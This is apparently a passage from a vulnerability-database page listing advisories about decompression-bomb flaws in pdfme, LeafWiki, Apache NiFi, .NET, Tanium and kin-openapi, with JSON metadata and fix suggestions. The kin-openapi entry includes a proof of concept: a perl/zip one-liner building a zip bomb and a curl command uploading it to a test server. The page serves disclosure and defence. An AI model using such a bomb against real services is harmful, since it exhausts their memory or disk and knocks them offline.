${MAX_DECODED_SIZE}. ` +\n        `This may indicate a decompression bomb.`\n      );\n    }\n\n    let size = this.minBufferLength;\n    while (size \u003c requested) {\n      size *= 2;\n    }\n\n    // Cap the allocation even if the doubling overshoots\n    if (size \u003e MAX_DECODED_SIZE) {\n      size = MAX_DECODED_SIZE;\n    }\n\n    const buffer2 = new Uint8Array(size);\n    buffer2.set(buffer);\n    return (this.buffer = buffer2);\n  }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n  // ... existing options ...\n  maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```",
  "id": "GHSA-vrqm-gvq7-rrwh",
  "modified": "2026-03-20T20:44:52Z",
  "published": "2026-03-20T20:44:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfme/pdfme"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS"
}

GHSA-VX6X-47WX-XJJJ

Vulnerability from github – Published: 2026-08-26 18:31 – Updated: 2026-08-26 18:31
VLAI
Details

LeafWiki extracts an uploaded ZIP archive without limiting how much data it will write. ZipExtractor.ExtractToDir in internal/importer/zip_extractor.go opens each entry and copies it to the destination with io.Copy, which runs to the end of the decompressed stream, so only the size of the uploaded archive is bounded and the size it expands to is not. The import route that reaches this code requires the Editor or Admin role, and the upload itself is capped at 500 MiB compressed. Because a ZIP entry can compress at a very high ratio, an archive well inside that cap can expand to hundreds of gigabytes as it is written out. The extraction directory defaults to a location under the operating system temporary directory, so the written data consumes the disk backing that path, which on a tmpfs-backed temporary directory is memory. A user holding the Editor role can therefore exhaust the storage the service depends on and keep it from serving, using far more resource than the upload limit alone would permit.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-80189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-26T05:18:26Z",
    "severity": "HIGH"
  },
  "details": "LeafWiki extracts an uploaded ZIP archive without limiting how much data it will write. ZipExtractor.ExtractToDir in internal/importer/zip_extractor.go opens each entry and copies it to the destination with io.Copy, which runs to the end of the decompressed stream, so only the size of the uploaded archive is bounded and the size it expands to is not. The import route that reaches this code requires the Editor or Admin role, and the upload itself is capped at 500 MiB compressed. Because a ZIP entry can compress at a very high ratio, an archive well inside that cap can expand to hundreds of gigabytes as it is written out. The extraction directory defaults to a location under the operating system temporary directory, so the written data consumes the disk backing that path, which on a tmpfs-backed temporary directory is memory. A user holding the Editor role can therefore exhaust the storage the service depends on and keep it from serving, using far more resource than the upload limit alone would permit.",
  "id": "GHSA-vx6x-47wx-xjjj",
  "modified": "2026-08-26T18:31:52Z",
  "published": "2026-08-26T18:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/perber/leafwiki/security/advisories/GHSA-258m-crqp-25xc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/perber/leafwiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/perber/leafwiki/blob/v0.12.0/internal/importer/zip_extractor.go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/perber/leafwiki/releases/tag/v0.12.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/leafwiki-0.10.0-through-0.12.0-uncontrolled-resource-consumption-via-unbounded-zip-extraction"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W96G-MJ2P-WQJV

Vulnerability from github – Published: 2026-08-03 21:31 – Updated: 2026-08-05 15:32
VLAI
Details

Apache NiFi 1.5.0 through 2.10.0 support gzip-encoded HTTP requests for the application REST API using a Jersey encoding filter. The framework enforced a configurable maximum request size on the compressed payload rather than the decompressed output, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which relocates response compression to Jetty Server and disables decompression of gzip-encoded HTTP requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-68981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T20:17:29Z",
    "severity": "HIGH"
  },
  "details": "Apache NiFi 1.5.0 through 2.10.0 support gzip-encoded HTTP requests for the application REST API using a Jersey encoding filter. The framework enforced a configurable maximum request size on the compressed payload rather than the decompressed output, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which relocates response compression to Jetty Server and disables decompression of gzip-encoded HTTP requests.",
  "id": "GHSA-w96g-mj2p-wqjv",
  "modified": "2026-08-05T15:32:09Z",
  "published": "2026-08-03T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68981"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/vxrqn7poyf1wx6gdy7c0dxqfqkctjngg"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/03/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WMM6-PGP8-29HG

Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 22:59
VLAI
Summary
Duplicate Advisory: .NET and Visual Studio Denial of Service Vulnerability
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.

Original Description

.NET and Visual Studio Denial of Service Vulnerability

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Formats.Nrbf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-606"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-12T22:59:42Z",
    "nvd_published_at": "2024-11-12T18:15:24Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.\n\n## Original Description\n.NET and Visual Studio Denial of Service Vulnerability",
  "id": "GHSA-wmm6-pgp8-29hg",
  "modified": "2024-11-12T22:59:42Z",
  "published": "2024-11-12T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43499"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43499"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: .NET and Visual Studio Denial of Service Vulnerability",
  "withdrawn": "2024-11-12T22:59:42Z"
}

GHSA-WPF3-533V-QFCR

Vulnerability from github – Published: 2026-08-19 21:30 – Updated: 2026-08-19 21:30
VLAI
Details

Tanium addressed a compression bomb vulnerability in Findings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T21:16:53Z",
    "severity": "LOW"
  },
  "details": "Tanium addressed a compression bomb vulnerability in Findings.",
  "id": "GHSA-wpf3-533v-qfcr",
  "modified": "2026-08-19T21:30:37Z",
  "published": "2026-08-19T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11617"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2026-020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQ9G-9VFC-CFQ9

Vulnerability from github – Published: 2025-03-19 18:12 – Updated: 2025-05-15 16:44
VLAI
Summary
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Details

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC

To reproduce the vulnerability, you can use the following OpenAPI schema:

openapi: 3.0.0
info:
  title: 'Validator'
  version: 0.0.1
paths:
  /:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              required:
                - file
              properties:
                file:
                  type: string
                  format: binary
      responses:
        '200':
          description: Created

And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):

package main

import (
    "fmt"
    "log"
    "net/http"

    "github.com/getkin/kin-openapi/openapi3filter"
    legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

    "github.com/getkin/kin-openapi/openapi3"
)

func handler(w http.ResponseWriter, r *http.Request) {
    loader := openapi3.NewLoader()

    doc, err := loader.LoadFromFile("schema.yaml")
    if err != nil {
        http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
        return
    }

    if err := doc.Validate(r.Context()); err != nil {
        http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
        return
    }

    router, err := legacyrouter.NewRouter(doc)
    if err != nil {
        http.Error(w, "Failed to create router", http.StatusInternalServerError)
        return
    }

    route, pathParams, err := router.FindRoute(r)
    if err != nil {
        http.Error(w, "Failed to find route", http.StatusNotFound)
        return
    }

    input := &openapi3filter.RequestValidationInput{
        Request:     r,
        QueryParams: r.URL.Query(),
        Route:       route,
        PathParams:  pathParams,
    }

    if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
        http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
        return
    }

    w.Write([]byte("request ok !"))
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:

perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.131.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-19T18:12:53Z",
    "nvd_published_at": "2025-03-19T16:15:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: \u0027Validator\u0027\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        \u0027200\u0027:\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e \u0027print \"0\" x 5000000000\u0027 \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it\u0027s reached (probably with a small default value and allow the users to configure it through the input options ?)",
  "id": "GHSA-wq9g-9vfc-cfq9",
  "modified": "2025-05-15T16:44:40Z",
  "published": "2025-03-19T18:12:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/pull/1059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.